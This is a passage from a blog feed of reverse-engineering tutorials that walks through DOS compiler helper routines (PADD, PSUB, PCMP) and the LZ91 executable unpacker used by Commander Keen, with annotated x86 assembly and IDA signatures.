<li>If the high 16 bits are used then manually make both dividend and divisor positive, manually do binary long division to 32 bits, and then make the answer negative if one of the dividend or divisor was negative</li>
<li>Return the quotient if we were doing division, otherwise return the remainder</li>
</ul>
<p>Happy reversing!</p>
]]></content:encoded></item><item><title><![CDATA[Reversing DOS functions: PADD and PSUB]]></title><description><![CDATA[These two are both intertwined so it makes sense to analyse them together:

We can see a few variations on names at the top here: N_PADD@ and F_PADD@ for PADD, and N_PSUB@ and F_PSUB@ respectively. The prolog for the near versions is the same; it pop...]]></description><link>https://www.lodsb.com/reversing-dos-functions-padd-and-psub</link><guid isPermaLink="true">https://www.lodsb.com/reversing-dos-functions-padd-and-psub</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 19 Aug 2021 11:16:54 GMT</pubDate><content:encoded><![CDATA[<p>These two are both intertwined so it makes sense to analyse them together:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629364459061/ITWDhtaJ_U.png" alt="image.png" /></p>
<p>We can see a few variations on names at the top here: <code>N_PADD@</code> and <code>F_PADD@</code> for PADD, and <code>N_PSUB@</code> and <code>F_PSUB@</code> respectively. The prolog for the near versions is the same; it pops the return offset, pushes CS and then pushes the return offset back so it doesn't matter whether the call is a near or far call, we can always make a successful far return.</p>
<p>It's also useful to look how this is called:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629365075698/Sg3E--kN1.png" alt="image.png" /></p>
<p>So it looks like we're taking DX:AX and CX:BX as arguments, and the result is returned in DX:AX. Let's start going through the code:</p>
<pre><code><span class="hljs-attribute">or</span>      cx, cx
<span class="hljs-attribute">jge</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">24</span>E
</code></pre><p>What the hell is this? The JGE instruction jumps if SF = OF. So we need to know what SF is, what OF is, and then whether they're equal. Looking closer at the OR instruction, we see it clears OF and sets SF to the high bit of the result. So we know that OF = 0, so we'll make the jump if SF = 0, or if CX is a positive number. There's another opcode JNS that could work here but it's all the same - we jump if CX is positive (and likely, if CX:BX is positive). Let's follow this branch:</p>
<pre><code><span class="hljs-attribute">loc_1E24E</span>:
<span class="hljs-attribute">add</span>     ax, bx
<span class="hljs-attribute">jnb</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">256</span>
</code></pre><p>We're returning the result in DX:AX so it makes sense to add BX into AX. We know CX:BX is positive, so we start by adding the lower word. JNB jumps if CF = 0 (no carry), so let's see what we do with the carry:</p>
<pre><code><span class="hljs-keyword">add</span>     dx, <span class="hljs-number">1000</span>h
loc_1E256:
</code></pre><p>This is fun. If DX:AX was a 32-bit value we'd be adding 1 to DX, but we're adding 0x1000 instead. That makes me think that DX:AX is a segment:offset pair and we're adding to that. Let's look further:</p>
<pre><code><span class="hljs-attribute">mov</span>     ch, cl
<span class="hljs-attribute">mov</span>     cl, <span class="hljs-number">4</span>
<span class="hljs-attribute">shl</span>     ch, cl
</code></pre><p>We destroy CH here! We then shift CL left by 4 bits, so we destroy the top 4 bits of CL too. This makes sense if CX:BX is a 32-bit number, and if we're adding this to a segment:offset pair then the bottom 20 bits (all of BX plus the bottom 4 bits of CL) make sense to add. In other words, if CX:BX was 000a:bcde, we now have CH = a0.</p>
<pre><code><span class="hljs-keyword">add</span>     dh, ch
</code></pre><p>Remember that 32-bit location 000abcde can be converted to segment:offset a000:bcde (among others). We added the lower part (bcde) to AX already, carried the 1, and now we're adding the top 4 bits to DX. DX:AX now holds the final segment:offset, but there's more code to go:</p>
<pre><code>mov     ch, al
shr     ax, cl
<span class="hljs-keyword">add</span>     dx, ax
</code></pre><p>We're saving the low byte of DX:AX, shifting AX right by 4 bits, then adding onto DX. What does this mean? It bumps the segment part to the highest value.</p>
<pre><code><span class="hljs-attribute">mov</span>     al, ch
<span class="hljs-attribute">and</span>     ax, <span class="hljs-number">0</span>Fh
</code></pre><p>Then we put the low byte in AL and mask it so we have the largest segment possible, and the lowest offset possible, while still pointing to the same point in memory.</p>
<p>In other words, this branch does the following:</p>
<pre><code>// <span class="hljs-keyword">add</span> the amount <span class="hljs-keyword">to</span> the segment:<span class="hljs-keyword">offset</span>
<span class="hljs-keyword">offset</span> += lowword;
<span class="hljs-keyword">if</span>(carry)
  segment += <span class="hljs-number">0x1000</span>;
segment += (hiword &amp; <span class="hljs-number">0x0F</span>) * <span class="hljs-number">0x1000</span>;
// adjust segment:<span class="hljs-keyword">offset</span>
segment += <span class="hljs-keyword">offset</span> &gt;&gt; <span class="hljs-number">4</span>;
<span class="hljs-keyword">offset</span> = <span class="hljs-keyword">offset</span> &amp; <span class="hljs-number">0x0F</span>;
</code></pre><p>The segment arithmetic is always hard to follow, but this is the basic idea of what happens there.</p>
<p>We only have 3 more branches to go here :) Let's take a quick look at the corresponding <code>PSUB</code> that gets us here:</p>
<pre><code><span class="hljs-attribute">or</span>      cx, cx
<span class="hljs-attribute">jge</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">27</span>D
<span class="hljs-attribute">not</span>     bx
<span class="hljs-attribute">not</span>     cx
<span class="hljs-attribute">add</span>     bx, <span class="hljs-number">1</span>
<span class="hljs-attribute">adc</span>     cx, <span class="hljs-number">0</span>
<span class="hljs-attribute">jmp</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">24</span>E
</code></pre><p>If CX:BX is negative then we bit flip CX:BX, increment BX by 1, and then load the carry into CX. The reason they use the <code>ADD</code> command is that <code>INC</code> doesn't change CF so the following <code>ADC</code> wouldn't carry the 1. Why do we do this? This is what we call "two's complement" and this is just gives us the negative value, in other words:</p>
<pre><code><span class="hljs-section">CX:BX = -CX:BX</span>
</code></pre><p>So if we're subtracting a negative number, this is the same as adding a positive number, e.g. 5 - -3 is the same as 5 + 3 so we'll use the addition path. The opposite is true on the addition path btw, if we're adding a negative number we'll just negate it and go down the subtraction path.</p>
<p>Anyway, let's see what the subtraction path does:</p>
<pre><code><span class="hljs-attribute">loc_1E27D</span>:
<span class="hljs-attribute">sub</span>     ax, bx
<span class="hljs-attribute">jnb</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">285</span>
<span class="hljs-attribute">sub</span>     dx, <span class="hljs-number">1000</span>h
<span class="hljs-attribute">loc_1E285</span>:
</code></pre><p>This is the opposite of the addition path, we do AX - BX and then carry the 1 by subtracting 1000 from DX. Note that this can go negative if we have a weird segment:offset pair like 0000:F000 that could be better phrased as 0F00:0000.</p>
<pre><code><span class="hljs-attribute">mov</span>     bh, cl
<span class="hljs-attribute">mov</span>     cl, <span class="hljs-number">4</span>
<span class="hljs-attribute">shl</span>     bh, cl
</code></pre><p>Same as above, if BX:CX was 000a:bcde we now have BH=a0</p>
<pre><code><span class="hljs-keyword">xor</span>     bl, bl
<span class="hljs-function"><span class="hljs-keyword">sub</span>     <span class="hljs-title">dx</span>, <span class="hljs-title">bx</span></span>
</code></pre><p>This is actually the same as above but for some reason they've done DX - BX instead of DH - BH - it does the same thing when BL is 0</p>
<pre><code>mov     ch, al
shr     ax, cl
<span class="hljs-keyword">add</span>     dx, ax
mov     al, ch
<span class="hljs-keyword">and</span>     ax, <span class="hljs-number">0</span>Fh
</code></pre><p>And apart from the weirdness with BX this is the same segment:offset adjusting code from above.</p>
<p>I've used this signature for IDA: <code>__int32 __usercall __far N_PADD_@&lt;dx:ax&gt;(int sSource@&lt;dx&gt;, void near* pSource@&lt;ax&gt;, __int32 addend@&lt;cx:bx&gt;);</code></p>
<p>And then it gives me this output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629368699572/WYgbjHxbZ.png" alt="image.png" /></p>
<p>Hope you enjoyed this, happy reversing!</p>
]]></content:encoded></item><item><title><![CDATA[Reversing DOS functions: PCMP]]></title><description><![CDATA[After recently reversing the unpacker for Commander Keen, I moved on to reversing the game itself. One thing that shows up when reversing is the functions that get inserted by the compiler of the day. Old DOS games such as Commander Keen end up with ...]]></description><link>https://www.lodsb.com/reversing-dos-functions-pcmp</link><guid isPermaLink="true">https://www.lodsb.com/reversing-dos-functions-pcmp</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Wed, 18 Aug 2021 14:56:36 GMT</pubDate><content:encoded><![CDATA[<p>After recently reversing the unpacker for Commander Keen, I moved on to reversing the game itself. One thing that shows up when reversing is the functions that get inserted by the compiler of the day. Old DOS games such as Commander Keen end up with a bunch of these, and IDA is good at recognizing them. Today we're going to look at the PCMP function (often referred to as <code>N_PCMP@</code> as a near call, or <code>F_PCMP@</code> as a far call).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629297349605/8bLU8amTt.png" alt="image.png" /></p>
<p>This is what we start with. Nothing gets accessed from the stack, so we can assume the parameters are in the registers. Let's look at how this gets called:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629297422181/pBhx1JfjNN.png" alt="image.png" /></p>
<p>So we're setting DX and AX from some local vars (from something done further up the function), and also setting CX and BX to 0. Let's start looking through at the code and see which of these get used:</p>
<pre><code><span class="hljs-keyword">push</span>    cx
</code></pre><p>CX is a "throwaway" register so this is a sure sign we care about it for later on</p>
<pre><code><span class="hljs-attribute">mov</span>     ch, al
<span class="hljs-attribute">mov</span>     cl, <span class="hljs-number">4</span>
<span class="hljs-attribute">shr</span>     ax, cl
</code></pre><p>We're saving AL in CH, and shifting AX right by 4 bits (or dividing by 16, or 0x10). This is something we might do to convert an offset to something we can add onto a segment register...</p>
<pre><code><span class="hljs-keyword">add</span>     dx, ax
</code></pre><p>It's looking like DX:AX might actually be a segment:offset pair, and we've just scaled AX so we can add it to it. In other words, if we started with DX:AX = 1030:5678, we've done the following:</p>
<pre><code><span class="hljs-string">//</span> <span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x1030</span>
<span class="hljs-string">//</span> <span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x5678</span>
<span class="hljs-string">ch</span> <span class="hljs-string">=</span> <span class="hljs-string">al</span> <span class="hljs-string">//</span> <span class="hljs-string">ah</span> <span class="hljs-string">=</span> <span class="hljs-number">0x78</span>
<span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-string">ax</span> <span class="hljs-string">&gt;&gt;</span> <span class="hljs-number">4</span> <span class="hljs-string">//</span> <span class="hljs-string">ax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0567</span>
<span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-string">dx</span> <span class="hljs-string">+</span> <span class="hljs-string">ax</span> <span class="hljs-string">//</span> <span class="hljs-string">dx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x1030</span> <span class="hljs-string">+</span> <span class="hljs-number">0x0567</span> <span class="hljs-string">=</span> <span class="hljs-number">0x1597</span>
</code></pre><p>The segment:offset pair 1030:5678 points to memory location 0x15978, and we've got 0x1597 and 0x78 in different registers so we appear to be building this up.</p>
<pre><code><span class="hljs-attribute">mov</span>     al, ch
mov     ah, bl
</code></pre><p>We move the bottom byte of AX into AL and the bottom byte of BX into AH...</p>
<pre><code>shr     bx, cl
pop     cx
<span class="hljs-keyword">add</span>     cx, bx
</code></pre><p>And this mirrors what we have above, so it does look like we're doing to CX:BX what we did to DX:AX...</p>
<pre><code><span class="hljs-attribute">mov</span>     bl, ah
</code></pre><p>Just putting it back, BL now equals the original BL, and remember AL now also equals the original AL</p>
<pre><code><span class="hljs-attribute">and</span>     ax, <span class="hljs-number">0</span>Fh
<span class="hljs-attribute">and</span>     bx, <span class="hljs-number">0</span>Fh
</code></pre><p>And we mask these bytes out. So we're in this position:</p>
<ul>
<li>AX = bottom nybble of DX:AX</li>
<li>BX = bottom nybble of CX:BX</li>
<li>DX = bits 4-20 of DX:AX</li>
<li>CX = bits 4-20 of CX:BX</li>
</ul>
<p>The reason we do this is because multiple segment:offset pairs can resolve to the same pointer. We're now in a position where we can compare AX == BX and DX == CX and if both are true then DX:AX points to the same memory location as CX:BX:</p>
<pre><code><span class="hljs-attribute">cmp</span>     dx, cx
<span class="hljs-attribute">jnz</span>     short locret_<span class="hljs-number">1</span>E<span class="hljs-number">59</span>A
<span class="hljs-attribute">cmp</span>     ax, bx
<span class="hljs-attribute">locret_1E59A</span>:
<span class="hljs-attribute">retn</span>
</code></pre><p>We don't return any registers, it looks like we just return ZF. If we fail the first check (DX==CX) then we jump the return with ZF=0 (jumps/returns/stack operations don't change the flags). If we pass this check then we do the second check (AX==BX) and just return.</p>
<p>If you're doing this in IDA then you can change the signature (command "Y") to <code>void __usercall N_PCMP_(void *pointer1@&lt;dx:ax&gt;, void *pointer2@&lt;cx:bx&gt;);</code> and this will give you the following output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629298451299/-W0IFyXPq.png" alt="image.png" /></p>
<p>Not perfect, but we can add a comment and this will help us later on. The name now makes sense - PCMP probably means Pointer CoMPare.</p>
<p>Hope this was helpful, and happy hacking!</p>
]]></content:encoded></item><item><title><![CDATA[Reversing LZ91 from Commander Keen]]></title><description><![CDATA[I've been in a bit of a rut with reversing recently and I thought I'd go back to something that I reversed years ago, has a little bit of complexity, but is easy enough that I can focus on extracting one part at a time and getting something turned ar...]]></description><link>https://www.lodsb.com/reversing-lz91-from-commander-keen</link><guid isPermaLink="true">https://www.lodsb.com/reversing-lz91-from-commander-keen</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Tue, 17 Aug 2021 15:24:40 GMT</pubDate><content:encoded><![CDATA[<p>I've been in a bit of a rut with reversing recently and I thought I'd go back to something that I reversed years ago, has a little bit of complexity, but is easy enough that I can focus on extracting one part at a time and getting something turned around in a day or two. I'm going to post the disassembly here, you can follow along at home by getting a copy of Commander Keen yourself (shareware, but also available on any good only game store). For those who are interested in the history of LZ91, take a look at  <a target="_blank" href="https://bellard.org/lzexe.html">Fabrice Bellard's site</a>.</p>
<p>Let's start from the beginning by opening this up in your favorite disassembler:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629203696258/zBxuUgjWF.png" alt="image.png" /></p>
<p>We'll go through instruction by instruction so you can follow along at home. Here's lines 1-3:</p>
<pre><code><span class="hljs-keyword">push</span>    es
<span class="hljs-keyword">push</span>    cs
<span class="hljs-keyword">pop</span>     ds
</code></pre><p>We've run into our first problem: what is the value of ES when we start a DOS app? According to  <a target="_blank" href="https://wiki.osdev.org/MZ">OSDev.org</a>, DS and ES both point to the Program Segment Prefix (PSP), a 256 byte (0x100) structure that gets loaded at the bottom of memory, followed directly by the program we've just loaded. We don't need to know much else at this point because you'll notice we never pop this back off the stack.</p>
<p>After this, we push CS and pop it into DS. We do this for two reasons:</p>
<ol>
<li>You can't MOV directly between segments</li>
<li>We want to access some data from the current segment so we need to copy that into DS</li>
</ol>
<p>So far so good. What's the next big chunk for then?</p>
<pre><code><span class="hljs-attribute">mov</span>     cx, word_<span class="hljs-number">1</span>C<span class="hljs-number">66</span>C
<span class="hljs-attribute">mov</span>     si, cx
<span class="hljs-attribute">dec</span>     si
<span class="hljs-attribute">mov</span>     di, si
<span class="hljs-attribute">mov</span>     bx, ds
<span class="hljs-attribute">add</span>     bx, word_<span class="hljs-number">1</span>C<span class="hljs-number">66</span>A
<span class="hljs-attribute">mov</span>     es, bx
<span class="hljs-attribute">std</span>
<span class="hljs-attribute">rep</span> movsb
</code></pre><p>We see a bunch of things happening here:</p>
<ol>
<li>CX gets set (to 0x176)</li>
<li>This value gets decremented and copied into both SI and DI (SI = DI = 0x175)</li>
<li>We load DS into BX, add a value (0x0C14) and then put this into ES (ES = DS + 0x0C14)</li>
<li>We call the STD command and finally do a REP MOVSB</li>
</ol>
<p>This looks a lot like a memmove command. Normally we copy from the bottom though, like this:</p>
<pre><code>mov cx, <span class="hljs-number">0x176</span>
<span class="hljs-keyword">xor</span> si, si
<span class="hljs-keyword">xor</span> di, di
rep movsb
</code></pre><p>And at the end both SI and DI point to 0x176, although they last copied a byte to 0x175. Here we're doing this in reverse order. SI and DI start pointing to 0x175, they finish pointing to 0xFFFF, but the final copy is to 0x0000 so we're in the same position.</p>
<p>Why are we doing the copy backwards though? Let's step through manually and it might make sense.</p>
<p>We can assume CS = DS = 0x0000 to make the math easier, and print it like this:</p>
<pre><code><span class="hljs-attribute">source</span> = <span class="hljs-number">0000</span>:<span class="hljs-number">0000</span>; // mem location <span class="hljs-number">0</span>x<span class="hljs-number">00000</span>
<span class="hljs-attribute">destination</span> = <span class="hljs-number">0</span>C<span class="hljs-number">14</span>:<span class="hljs-number">0000</span>; // mem location <span class="hljs-number">0</span>x<span class="hljs-number">0</span>C<span class="hljs-number">140</span>
<span class="hljs-attribute">count</span> = <span class="hljs-number">0</span>x<span class="hljs-number">176</span>;
<span class="hljs-attribute">memmove</span>(destination, source, count);
</code></pre><p>So we're copying from a low memory location to a higher memory location. The reason we do the copy in reverse is because for a very small file, the memory regions might overlap. We're at the start of the loader so we don't care, but we might override some of the later parts of the loader. Let's try a small example and see what happens:</p>
<pre><code><span class="hljs-attr">source</span> = <span class="hljs-number">0</span>x00000
<span class="hljs-attr">destination</span> = <span class="hljs-number">0</span>x00004
<span class="hljs-attr">count</span> = <span class="hljs-number">0</span>x10
</code></pre><p>If we put some junk in memory we can follow this through forwards</p>
<pre><code><span class="hljs-comment">// starting case</span>
mem = ABCDEFGHIJKLMNOP0000
<span class="hljs-comment">// one step</span>
mem = ABCDAFGHIJKLMNOP0000
<span class="hljs-comment">// two steps</span>
mem = ABCDABGHIJKLMNOP0000
<span class="hljs-comment">// three steps</span>
mem = ABCDABCHIJKLMNOP0000
<span class="hljs-comment">// four steps</span>
mem = ABCDABCDIJKLMNOP0000
<span class="hljs-comment">// five steps</span>
mem = ABCDABCDAJKLMNOP0000
</code></pre><p>It's broken now! We're now just copying the data that we just copied. If we do this in reverse though:</p>
<pre><code><span class="hljs-comment">// starting case</span>
mem = ABCDEFGHIJKLMNOP0000
<span class="hljs-comment">// one step</span>
mem = ABCDAFGHIJKLMNOP000P
<span class="hljs-comment">// two steps</span>
mem = ABCDEFGHIJKLMNOP00OP
<span class="hljs-comment">// three steps</span>
mem = ABCDEFGHIJKLMNOP0NOP
<span class="hljs-comment">// four steps</span>
mem = ABCDEFGHIJKLMNOPMNOP
<span class="hljs-comment">// five steps</span>
mem = ABCDEFGHIJKLMNOLMNOP
<span class="hljs-comment">// ...</span>
<span class="hljs-comment">// 15 steps</span>
mem = ABCDEBCDEFGHIJKLMNOP
<span class="hljs-comment">// 16 steps</span>
mem = ABCDABCDEFGHIJKLMNOP
</code></pre><p>This way we still destroy the data in the middle, but we have a perfect copy at the new destination. It doesn't matter for our analysis why it's done this way, but it's also interesting asking ourselves why things are done a certain way, especially if it relates to code further down the track.</p>
<p>So now we're done with this, what do we have left?</p>
<pre><code><span class="hljs-keyword">push</span>    bx
mov     ax, <span class="hljs-number">2</span>Bh ; <span class="hljs-string">'+'</span>
<span class="hljs-keyword">push</span>    ax
retf
</code></pre><p>Pushing data before a return is a classic sign of an indirect jump. BX still points to our new segment that we just copied the data to, so we're jumping to ES:002B. We can follow along in our disassembler by just jumping to 002B in the old code because we know it hasn't been overwritten.</p>
<p>Here's where I got to with comments:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629205042511/UXvGfkzCk.png" alt="image.png" /></p>
<p>One thing I left out is how we know we're relocating the whole loader... the trick is to look at where our code is. The MZ header loads us at 0C66:000E, and we're copying all of this segment. When we jump to the next function we can see it only goes to 0C66:0176 (including the data on the end). Not the best explanation, I know, and if this doesn't make sense then take a closer look in your own disassembly to see where we got this number from.</p>
<p>Anyway, let's look at function number 2 here:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629205579176/8BVHumjOi.png" alt="image.png" /></p>
<p>This is going to be fun. Let's start from the top and see if we can make sense of it as we go:</p>
<pre><code><span class="hljs-attribute">mov</span>     bp, word ptr cs:byte_<span class="hljs-number">1</span>C<span class="hljs-number">660</span>+<span class="hljs-number">8</span>
<span class="hljs-attribute">mov</span>     dx, ds
</code></pre><p>If we tidy this up we can see it loads 0x0C66 into BP, and loads DS into DX. We know that 0x0C66 is our original CS (but not relocated, this is important). We also haven't touched DS since our memmove so we know that this is the CS that we got loaded to (this has been relocated). In other words, BP = 0x0C66, DX = 0x0C66 + relocation_offset.</p>
<p>We then hit the start of a loop:</p>
<pre><code><span class="hljs-attribute">loc_1C692</span>:
<span class="hljs-attribute">mov</span>     ax, bp
<span class="hljs-attribute">cmp</span>     ax, <span class="hljs-number">1000</span>h
<span class="hljs-attribute">jbe</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">69</span>C
</code></pre><p>BP is our original un-relocated CS, and it looks like our loader gets loaded at the end of the packed data. In other words, this could also be the size in paragraphs (0x10 byte chunks, what the segment register operates in) of our packed data. We compare it to 0x1000, and if it's greater, then:</p>
<pre><code><span class="hljs-attribute">mov</span>     ax, <span class="hljs-number">1000</span>h
</code></pre><p>So this does seem like a counter that goes in chunks of 0x1000 at a time. The next chunk is where the magic happens:</p>
<pre><code><span class="hljs-attribute">loc_1C69C</span>:
sub     bp, ax
sub     dx, ax
sub     bx, ax
</code></pre><p>If BP is the total we were meant to do then this lines up with our theory - we do this in chunks of up to 0x1000 at a time and here we're reducing BP (our counter for total amount of work to do), DX (our original CS), and BX (the segment that we relocated the loader to). We just relocated the loader further up in memory, and it looks like we might be about to do the same with the packed code:</p>
<pre><code><span class="hljs-attribute">mov</span>     ds, dx
mov     es, bx
</code></pre><p>The MOVS commands go from DS:SI to ES:DI, so it does appear that we're just moving the packed code up to line up with our loader (now that we've jumpeed up here we can overwrite ourselves)</p>
<pre><code><span class="hljs-attribute">mov</span>     cl, <span class="hljs-number">3</span>
<span class="hljs-attribute">shl</span>     ax, cl
</code></pre><p>This seems odd. We're setting CX to AX <em> 8. We would expect it to be AX </em> 0x10 if we were doing MOVSB (since we know that AX is a number of paragraphs to copy, or multiples of 0x10). If we look further down we see a REP MOVSW, and 0x10 bytes is the same as 8 words, so this does seem to line up correctly.</p>
<pre><code>mov     cx, ax
shl     ax, <span class="hljs-number">1</span>
<span class="hljs-type">dec</span>     ax
<span class="hljs-type">dec</span>     ax
mov     si, ax
mov     di, ax
rep movsw
</code></pre><p>This is the same pattern we saw before, but we need to decrement AX twice because our offsets are going in 2's because we're moving words, not bytes. This is also why we had to decrement our segments, because we need our offsets to start high and drop all the way down to 0.</p>
<pre><code><span class="hljs-attribute">or</span>      bp, bp
<span class="hljs-attribute">jnz</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">692</span>
</code></pre><p>And this is the bottom of the loop - if we had more than 0x1000 paragraphs to copy then go back and do the next chunk. For Commander Keen we only have 0x0C66 so we only run through this loop once.</p>
<p>Here are my notes so far:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629206758082/9902B98_l.png" alt="image.png" /></p>
<p>One thing to keep in mind - none of this relocation matters for us when we write our unpacker because we're just reading from disk.</p>
<p>Anyway, next part:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629206896119/8bz15DWbk.png" alt="image.png" /></p>
<p>We start with this:</p>
<pre><code>cld
</code></pre><p>This sets the direction to forwards, so our MOVS/LODS/STOS commands move SI/DI forwards instead of backwards.</p>
<pre><code>mov     es, dx
mov     ds, bx
<span class="hljs-keyword">xor</span>     si, si
<span class="hljs-keyword">xor</span>     di, di
</code></pre><p>We're swapping our segments around, we were copying from low to high, and now we're copying from high to low. Looks like we're going to start overwriting our original packed code with unpacked code as we go along. We've also cleared out SI and DI so we are definitely starting from the beginning.</p>
<pre><code><span class="hljs-attribute">mov</span>     dx, <span class="hljs-number">10</span>h
<span class="hljs-attribute">lodsw</span>
<span class="hljs-attribute">mov</span>     bp, ax
</code></pre><p>We've loaded a word into BP and set DX to 0x10. I wonder what this means?</p>
<pre><code><span class="hljs-attribute">loc_1C6C9</span>:
<span class="hljs-attribute">shr</span>     bp, <span class="hljs-number">1</span>
<span class="hljs-attribute">dec</span>     dx
<span class="hljs-attribute">jnz</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">6</span>D<span class="hljs-number">3</span>
</code></pre><p>Oh this makes sense - BP holds 16 bits, and we can shift them out one at a time. Here we've shifted a bit out of BP, and then decremented DX. If DX isn't zero then we skip the next bit, but if it DX is zero then we've run out of bits and:</p>
<pre><code><span class="hljs-attribute">lodsw</span>
<span class="hljs-attribute">mov</span>     bp, ax
<span class="hljs-attribute">mov</span>     dl, <span class="hljs-number">10</span>h
</code></pre><p>We fill up again and reset DL (we know DH is 0).</p>
<pre><code><span class="hljs-attribute">loc_1C6D3</span>:
<span class="hljs-attribute">jnb</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">6</span>D<span class="hljs-number">8</span>
</code></pre><p>This is weird. What does JNB do? It turns out this jumps if CF is 0, and what sets the CF? Normally we expect arithmetic to set/clear all the flags, but it the DEC command doesn't set CF (it sets others though, like OF and ZF). That means we're testing the result of the SHR command earlier - we're checking if the bit we shifted out was 0. If it was 1 (CF = 1 so the JNB fails) then we do this:</p>
<pre><code><span class="hljs-attribute">movsb</span>
<span class="hljs-attribute">jmp</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">6</span>C<span class="hljs-number">9</span>
</code></pre><p>And we copy a byte across uncompressed, and loop back to the top.</p>
<p>From what we know about LZ style compression, we normally copy across the first few bytes uncompressed and then start to get the benefits of our compression as we unpack more and more. Because of this, we'd expect the first few bytes to be uncompressed. Let's take a look at what the data shows, right at the start of the file after the header:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629207444329/vdx1JL2Km.png" alt="image.png" /></p>
<p>Just as we thought: the first word that gets loaded is 0xFFFF (16x 1 bit), so it copies across 16 bytes uncompressed. Note that we see 15 uncompressed bytes and then 0xFFFF, this is because we refresh our bits the moment they run out (after the 16th bit), we don't wait until after the operation is done.</p>
<p>Here are the notes so far:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629207555399/LpiVYp6BE.png" alt="image.png" /></p>
<p>So if we get a 1 bit then we copy a byte across, but what happens if we get a 0 bit?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629207714860/hyq16u2Eo.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629207843011/y7RR0WM6K.png" alt="image.png" /></p>
<pre><code><span class="hljs-attribute">loc_1C6D8</span>:
<span class="hljs-attribute">xor</span>     cx, cx
<span class="hljs-attribute">shr</span>     bp, <span class="hljs-number">1</span>
<span class="hljs-attribute">dec</span>     dx
<span class="hljs-attribute">jnz</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">6</span>E<span class="hljs-number">4</span>
<span class="hljs-attribute">lodsw</span>
<span class="hljs-attribute">mov</span>     bp, ax
<span class="hljs-attribute">mov</span>     dl, <span class="hljs-number">10</span>h
<span class="hljs-attribute">loc_1C6E4</span>:
<span class="hljs-attribute">jb</span>      short loc_<span class="hljs-number">1</span>C<span class="hljs-number">708</span>
</code></pre><p>We clear CX and get another bit. We refill if needed (this happens every time so this is the last time I'll show this refill part), and if CF is set then we jump right. We'll handle that next, first off, let's handle the CF=0 case (so when we get 00 bits).</p>
<pre><code><span class="hljs-string">shr</span>     <span class="hljs-string">bp,</span> <span class="hljs-number">1</span>
<span class="hljs-string">;</span> <span class="hljs-string">refill</span> <span class="hljs-string">if</span> <span class="hljs-string">needed</span>
<span class="hljs-string">rcl</span>     <span class="hljs-string">cx,</span> <span class="hljs-number">1</span>
<span class="hljs-string">shr</span>     <span class="hljs-string">bp,</span> <span class="hljs-number">1</span>
<span class="hljs-string">;</span> <span class="hljs-string">refill</span> <span class="hljs-string">if</span> <span class="hljs-string">needed</span>
<span class="hljs-string">rcl</span>     <span class="hljs-string">cx,</span> <span class="hljs-number">1</span>
<span class="hljs-string">inc</span>     <span class="hljs-string">cx</span>
<span class="hljs-string">inc</span>     <span class="hljs-string">cx</span>
</code></pre><p>We set CX to 0 earlier, and the RCL command rotates in bits from the CF, letting us stack these up on the bottom. We basically copy the next 2 bits from BP into CX, then add 2 from here. This set CX to a number from 2-5 based on our bits in BP.</p>
<pre><code><span class="hljs-attribute">lodsb</span>
<span class="hljs-attribute">mov</span>     bh, <span class="hljs-number">0</span>FFh
<span class="hljs-attribute">mov</span>     bl, al
<span class="hljs-attribute">jmp</span>     loc_<span class="hljs-number">1</span>C<span class="hljs-number">71</span>B
</code></pre><p>We then load in another byte, sign extend it to a word (top bit is 1 so it's a negative number)</p>
<pre><code><span class="hljs-attribute">loc_1C71B</span>:
mov     al, <span class="hljs-attribute">es</span>:[bx+di]
stosb
loop    loc_1C71B
</code></pre><p>We then load in a byte from our output data, and then put it back on the end, and increment di. We know bx is going to be a negative number, and CX is a number from 2-5 so this code is copying a 2-5 byte chunk from the uncompressed code and sticking it on the front. This is standard for LZ-style compression.</p>
<p>So we now know what the following sets of bits do:</p>
<ul>
<li>1: copy byte across</li>
<li>00: copy 2-5 bytes from up to 255 bytes back in uncompressed</li>
</ul>
<p>Let's carry on with that right hand branch we skipped earlier:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629211010824/O7v7Wmd2e.png" alt="image.png" /></p>
<p>This looks insane. This is the sort of thing that makes you want to just give up and cry. I'll let you cheat on this one and jump straight to my notes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629211184395/7vwSJclnG.png" alt="image.png" /></p>
